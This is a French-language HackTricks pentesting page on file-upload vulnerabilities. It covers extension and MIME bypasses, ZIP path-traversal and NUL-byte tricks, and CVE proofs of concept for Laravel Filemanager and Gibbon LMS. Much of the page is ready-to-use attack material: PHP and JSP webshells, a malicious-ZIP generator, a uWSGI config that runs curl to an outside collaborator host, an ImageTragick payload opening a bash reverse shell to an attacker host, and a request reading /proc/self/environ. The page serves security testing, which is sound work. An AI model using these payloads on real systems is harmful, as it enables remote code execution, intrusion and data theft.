Téléversement de fichiers

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Méthodologie générale — Téléversement de fichiers

Autres extensions utiles :

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Contourner les vérifications d’extensions de fichiers

  1. Si elles s’appliquent, vérifiez les extensions précédentes. Testez-les aussi en utilisant des lettres majuscules : pHp, .pHP5, .PhAr …
  2. Vérifiez l’ajout d’une extension valide avant l’extension d’exécution (utilisez aussi les extensions précédentes) :
  • file.png.php
  • file.png.Php5
  1. Essayez d’ajouter des caractères spéciaux à la fin. Vous pouvez utiliser Burp pour bruteforcer tous les caractères ascii et Unicode. (Notez que vous pouvez aussi essayer d’utiliser les extensions mentionnées précédemment)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Essayez de contourner les protections en trompant le parser d’extensions côté serveur avec des techniques comme le doublement de l’extension ou l’ajout de données inutiles (octets null) entre les extensions. Vous pouvez aussi utiliser les extensions précédentes pour préparer un meilleur payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Ajoutez une couche supplémentaire d’extensions à la vérification précédente :
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Essayez de placer l’extension exécutable avant l’extension valide et espérez que le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier contenant l’extension** .php, même s’il ne se termine pas par .php, exécutera du code):
  • ex: file.php.png
  1. Utilisation des NTFS alternate data stream (ADS) sous Windows. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un fichier vide avec l’extension interdite sera créé sur le serveur (ex. “file.asax:.jpg”). Ce fichier peut être modifié ensuite via d’autres techniques comme son short filename. Le “::$data” pattern peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce pattern peut aider à contourner d’autres restrictions (ex. “file.asp::$data.”)
  2. Essayez de dépasser les limites de nom de fichier. L’extension valide est tronquée. Et le PHP malveillant reste. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pré-2.9.1 (extension .php suivie d’un point) – CVE-2024-21546

Certains gestionnaires de téléversement tronquent ou normalisent les caractères point finaux du nom de fichier sauvegardé. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d’extension en :

  • Utiliser un MIME image valide et un en-tête magic (par ex. le PNG \x89PNG\r\n\x1a\n).
  • Nommer le fichier uploadé avec une extension PHP suivie d’un point, ex. shell.php..
  • Le serveur supprime le point final et conserve shell.php, qui s’exécutera s’il est placé dans un répertoire servi par le web (stockage public par défaut comme /storage/files/).

PoC minimal (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Ensuite, accédez au chemin enregistré (typiquement dans Laravel + LFM) :

GET /storage/files/0xdf.php?cmd=id

Contourner Content-Type, Magic Number, Compression & Resizing

  • Contourner les contrôles de Content-Type en définissant la valeur de l’en-tête Content-Type sur: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Contourner la vérification du magic number en ajoutant au début du fichier les bytes d’une vraie image (tromper la commande file). Ou introduire le shell dans les metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ou vous pouvez aussi introduire le payload directement dans une image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Si une compression est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standard comme PHP-GD, les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser la PLTE chunk technique définie ici pour insérer du texte qui survivra à la compression.
  • Github with the code
  • La page web peut aussi être en train de redimensionner l’image, en utilisant par exemple les fonctions PHP-GD imagecopyresized ou imagecopyresampled. Cependant, vous pouvez utiliser la IDAT chunk technique définie ici pour insérer du texte qui survivra à la compression.
  • Github with the code
  • Une autre technique pour créer un payload qui survit à un redimensionnement d’image, en utilisant la fonction PHP-GD thumbnailImage. Cependant, vous pouvez utiliser la tEXt chunk technique définie ici pour insérer du texte qui survivra à la compression.
  • Github with the code

Autres trucs à vérifier

  • Trouver une vulnérabilité pour renommer le fichier déjà uploadé (changer l’extension).
  • Trouver une vulnérabilité de Local File Inclusion pour exécuter la backdoor.
  • Divulgation d’informations possible:
  1. Upload plusieurs fois (et en même temps) le même fichier avec le même nom
  2. Upload un fichier avec le nom d’un fichier ou d’un dossier qui existe déjà
  3. Upload un fichier avec “.” , “..”, or “…” comme nom. Par exemple, sous Apache sur Windows, si l’application enregistre les fichiers uploadés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé uploads” dans le répertoire “/www/”.
  4. Upload un fichier qui peut ne pas être supprimé facilement comme “…:.jpg” sur NTFS. (Windows)
  5. Upload un fichier sous Windows avec des caractères invalides tels que |<>*?” dans son nom. (Windows)
  6. Upload un fichier sous Windows en utilisant des noms réservés (interdits) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Essayez aussi d’upload un exécutable (.exe) ou un .html (moins suspect) qui exécutera du code lorsqu’il est accidentellement ouvert par la victime.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l’on a la possibilité de modifier le fichier de configuration .ini. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables “magiques”, des placeholders et des opérateurs. Notamment, l’opérateur ‘@’, utilisé comme @(filename), est conçu pour inclure le contenu d’un fichier. Parmi les différents schemes pris en charge par uWSGI, le scheme “exec” est particulièrement puissant, permettant de lire des données depuis la sortie standard d’un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu’un fichier de configuration .ini est traité.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

L’exécution du payload se produit lors du parsing du fichier de configuration. Pour que la configuration soit activée et parsée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou à la suite d’une Denial of Service) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à intervalles spécifiés lorsqu’un changement est détecté.

Il est crucial de comprendre la nature peu stricte du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi le champ des exploitations possibles.

Gibbon LMS écriture arbitraire de fichier menant à une RCE pré-auth (CVE-2023-45878)

Un endpoint non authentifié dans Gibbon LMS permet l’écriture arbitraire de fichiers dans le web root, conduisant à une RCE pré-auth en déposant un fichier PHP. Versions vulnérables : jusqu’à et y compris 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (le serveur ignore type/name, décode en base64 la partie finale)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Déposer un webshell minimal et exécuter des commandes :

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • Le handler effectue base64_decode($_POST["img"]) après avoir séparé par ; et ,, puis écrit les octets dans $absolutePath . '/' . $_POST['path'] sans valider l’extension/le type.
  • Le code résultant s’exécute en tant qu’utilisateur du service web (par ex., XAMPP Apache on Windows).

References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.

wget File Upload/SSRF Trick

Dans certains cas, vous pouvez constater qu’un serveur utilise wget pour télécharger des fichiers et que vous pouvez indiquer l’URL. Dans ces situations, le code peut vérifier que l’extension des fichiers téléchargés figure dans une whitelist afin de s’assurer que seuls des fichiers autorisés seront téléchargés. Cependant, cette vérification peut être contournée.
La longueur maximale d’un nom de fichier sous linux est 255, cependant, wget tronque les noms de fichier à 236 caractères. Vous pouvez télécharger un fichier appelé “A”*232+“.php”+“.gif”, ce nom de fichier permettra de contourner la vérification (car dans cet exemple “.gif” est une extension valide) mais wget renommera le fichier en “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Notez que une autre option à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le HTTP server redirige vers un fichier différent, ainsi l’URL initiale passera la vérification mais wget téléchargera ensuite le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas sauf si wget est utilisé avec le paramètre --trust-server-names car wget téléchargera la page redirigée avec le nom du fichier indiqué dans l’URL d’origine.

Évasion du répertoire d’upload via NTFS junctions (Windows)

(Pour cette attaque, vous aurez besoin d’accès local à la machine Windows) Lorsque les uploads sont stockés dans des sous-dossiers par utilisateur sur Windows (par ex., C:\Windows\Tasks\Uploads<id>) et que vous contrôlez la création/suppression de ce sous-dossier, vous pouvez le remplacer par une directory junction pointant vers un emplacement sensible (par ex., le webroot). Les uploads suivants seront écrits dans le chemin cible, permettant l’exécution de code si la cible interprète du code côté serveur.

Exemple de flux pour rediriger les uploads vers le XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Remarques

  • mklink /J crée une NTFS directory junction (reparse point). Le compte du serveur web doit suivre la junction et avoir la permission d’écriture dans la destination.
  • Cela redirige des écritures de fichiers arbitraires ; si la destination exécute des scripts (PHP/ASP), cela devient RCE.
  • Défenses : ne permettez pas que les répertoires d’upload inscriptibles soient contrôlables par l’attaquant sous C:\Windows\Tasks ou similaire ; bloquer la création de junctions ; valider les extensions côté serveur ; stocker les uploads sur un volume séparé ou avec des ACLs deny‑execute.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Certains upload/ingest handlers écrivent le corps brut de la requête vers un chemin filesystem construit à partir de paramètres de requête contrôlés par l’utilisateur. Si le handler supporte aussi Content-Encoding: gzip et n’arrive pas à canonicaliser/valider le chemin de destination, vous pouvez combiner directory traversal avec une payload gzippée pour écrire des octets arbitraires dans un répertoire servi par le web et obtenir RCE (par ex., déposer un JSP sous Tomcat’s webapps).

Generic exploitation flow:

  • Préparez votre payload côté serveur (par ex., minimal JSP webshell) et compressez les octets en gzip.
  • Envoyez un POST où un paramètre de chemin (par ex., token) contient du traversal pour sortir du dossier prévu, et file indique le nom de fichier à persister. Réglez Content-Type: application/octet-stream et Content-Encoding: gzip ; le corps est la payload compressée.
  • Accédez au fichier écrit pour déclencher l’exécution.

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Ensuite, déclenchez :

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Remarques

  • Les chemins cibles varient selon l’installation (par ex., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ dans certaines stacks). Tout dossier exposé sur le web qui exécute JSP fonctionnera.
  • Burp Suite’s Hackvertor extension peut produire un corps gzip correct à partir de votre payload.
  • Il s’agit d’un pattern purement pre-auth d’écriture de fichier arbitraire → RCE ; il ne dépend pas du parsing multipart.

Atténuations

  • Déterminez la destination des uploads côté serveur ; ne faites jamais confiance aux fragments de chemin fournis par les clients.
  • Canonicalisez et appliquez que le chemin résolu reste à l’intérieur d’un répertoire de base allow-listé.
  • Stockez les uploads sur un volume non-exécutable et refusez l’exécution de scripts depuis des chemins inscriptibles.

Outils

  • Upload Bypass est un outil puissant conçu pour assister Pentesters and Bug Hunters dans les tests des mécanismes d’upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d’identification et d’exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.

Corruption des indices d’upload avec les particularités de snprintf (historique)

Certains handlers d’upload legacy qui utilisent snprintf() ou équivalents pour construire des tableaux multi-fichiers à partir d’un upload mono-fichier peuvent être trompés et forger la structure _FILES. En raison d’incohérences et de troncatures dans le comportement de snprintf(), un upload unique soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (p.ex., le traiter comme un upload multi-fichiers et emprunter des branches non sécurisées). Bien que niche aujourd’hui, ce pattern « index corruption » réapparaît parfois dans les CTFs et les bases de code plus anciennes.

De l’upload de fichier vers d’autres vulnérabilités

Voici un top 10 des choses que vous pouvez réaliser en uploadant (depuis ici):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Octets magiques d’en-tête

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Reportez-vous à https://en.wikipedia.org/wiki/List_of_file_signatures pour d’autres types de fichiers.

Upload de ZIP/TAR décompressé automatiquement

Si vous pouvez uploader un ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses :

Uploader une archive contenant des liens symboliques vers d’autres fichiers ; ensuite, en accédant aux fichiers décompressés vous accéderez aux fichiers liés :

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Décompresser dans différents dossiers

La création inattendue de fichiers dans des répertoires pendant la décompression est un problème majeur. Malgré l’hypothèse initiale selon laquelle cette configuration pourrait empêcher l’exécution de commandes au niveau du système d’exploitation via des uploads de fichiers malveillants, la prise en charge de la compression hiérarchique et les capacités de directory traversal du format d’archive ZIP peuvent être exploitées. Cela permet aux attaquants de contourner les restrictions et de sortir des répertoires d’upload sécurisés en manipulant la fonctionnalité de décompression de l’application ciblée.

An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

De plus, le symlink trick with evilarc est une option. Si l’objectif est de cibler un fichier comme /flag.txt, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu’evilarc ne rencontre pas d’erreurs pendant son fonctionnement.

Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abuser la compression pour file spraying

Pour plus de détails consultez l’article original sur: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Création d’un PHP Shell : Du code PHP est écrit pour exécuter des commandes transmises via la variable $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying et création de fichiers compressés : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification avec un éditeur hexadécimal ou vi : Les noms des fichiers à l’intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en remplaçant “xxA” par “../” pour traverser les répertoires.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Lorsque le backend valide les entrées ZIP en utilisant PHP’s ZipArchive mais que l’extraction écrit sur le filesystem en utilisant les noms bruts, vous pouvez faire passer une extension interdite en insérant un NUL (0x00) dans les champs de nom de fichier. ZipArchive traite le nom de l’entrée comme une C‑string et le tronque au premier NUL ; le filesystem écrit le nom complet, en coupant tout après le NUL.

Flux général :

  • Préparer un fichier conteneur légitime (par ex., un PDF valide) qui intègre un petit stub PHP dans un stream de sorte que le magic/MIME reste un PDF.
  • Nommez-le comme shell.php..pdf, zippez-le, puis hex‑éditez l’en-tête local ZIP et le nom de fichier du répertoire central pour remplacer le premier . après .php par 0x00, résultant en shell.php\x00.pdf.
  • Les validateurs qui s’appuient sur ZipArchive « verront » shell.php .pdf et l’autoriseront ; l’extracteur écrit shell.php sur le disque, conduisant à une RCE si le dossier d’upload est exécutable.

Étapes minimales du PoC :

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Remarques

  • Changez LES DEUX occurrences du nom de fichier (local et central directory). Certains outils ajoutent aussi une entrée data descriptor supplémentaire – ajustez tous les champs de nom si présents.
  • Le fichier payload doit toujours passer le magic/MIME sniffing côté serveur. Intégrer le PHP dans un flux PDF maintient l’en-tête valide.
  • Fonctionne lorsque le chemin d’énumération/validation et le chemin d’extraction/écriture diffèrent dans le traitement des chaînes.

ZIP empilés/concaténés (désaccord du parser)

La concaténation de deux fichiers ZIP valides produit un blob où différents parseurs se concentrent sur des enregistrements EOCD différents. Beaucoup d’outils localisent le dernier End Of Central Directory (EOCD), tandis que certaines bibliothèques (p. ex., ZipArchive dans certains workflows) peuvent parser la première archive qu’elles trouvent. Si la validation énumère la première archive et que l’extraction utilise un autre outil qui respecte le dernier EOCD, une archive bénigne peut passer les contrôles tandis qu’une archive malveillante est extraite.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Schéma d’abus

  • Créez une archive bénigne (type autorisé, par ex. un PDF) et une seconde archive contenant une extension bloquée (par ex. shell.php).
  • Concaténez-les : cat benign.zip evil.zip > combined.zip.
  • Si le serveur valide avec un parseur (voit benign.zip) mais extrait avec un autre (traite evil.zip), le fichier bloqué se retrouve dans le chemin d’extraction.

ImageTragic

Téléversez ce contenu avec une extension d’image pour exploiter la vulnérabilité (ImageMagick , 7.0.1-1) (d’après l’exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

L’insertion d’une PHP shell dans le chunk IDAT d’un fichier PNG peut contourner efficacement certaines opérations de traitement d’images. Les fonctions imagecopyresized et imagecopyresampled de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. La capacité de la PHP shell intégrée à rester intacte après ces opérations est un avantage significatif pour certains cas d’utilisation.

Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l’article suivant : “Encoding Web Shells in PNG IDAT chunks”. Cette ressource offre une compréhension complète du processus et de ses implications.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Les fichiers polyglottes servent d’outil unique en cybersécurité, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intéressant est un GIFAR, un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.

L’utilité principale des polyglots réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à n’autoriser que certains types de fichiers en upload — comme JPEG, GIF, ou DOC — pour réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP, ou Phar). Cependant, un polyglot, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.

Malgré leur adaptabilité, les polyglots rencontrent des limites. Par exemple, bien qu’un polyglot puisse simultanément incarner un PHAR file (PHp ARchive) et un JPEG, le succès de son upload peut dépendre des politiques d’extensions de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la dualité structurelle d’un polyglot peut ne pas suffire à garantir son upload.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

Comment éviter les détections de type de fichier en uploadant un fichier JSON valide même si ce n’est pas autorisé en le faisant passer pour un PDF (techniques tirées de this blog post) :

  • mmmagic library : Tant que les octets magiques %PDF se trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir exemple dans le post)
  • pdflib library : Ajouter un faux format PDF à l’intérieur d’un champ du JSON de sorte que la bibliothèque pense que c’est un pdf (voir exemple dans le post)
  • file binary : Il peut lire jusqu’à 1048576 octets d’un fichier. Il suffit de créer un JSON plus grand que cela pour qu’il ne puisse pas parser le contenu en tant que json, puis à l’intérieur du JSON mettre la partie initiale d’un vrai PDF et il pensera que c’est un PDF

Content-Type confusion to arbitrary file read

Certains handlers d’upload font confiance au body de la requête parsé (par ex., context.getBodyData().files) et plus tard copient le fichier depuis file.filepath sans avoir d’abord imposé Content-Type: multipart/form-data. Si le serveur accepte application/json, vous pouvez fournir un faux objet files pointant filepath vers n’importe quel chemin local, transformant le flux d’upload en un primitive de lecture de fichier arbitraire.

Example POST against a form workflow returning the uploaded binary in the HTTP response:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

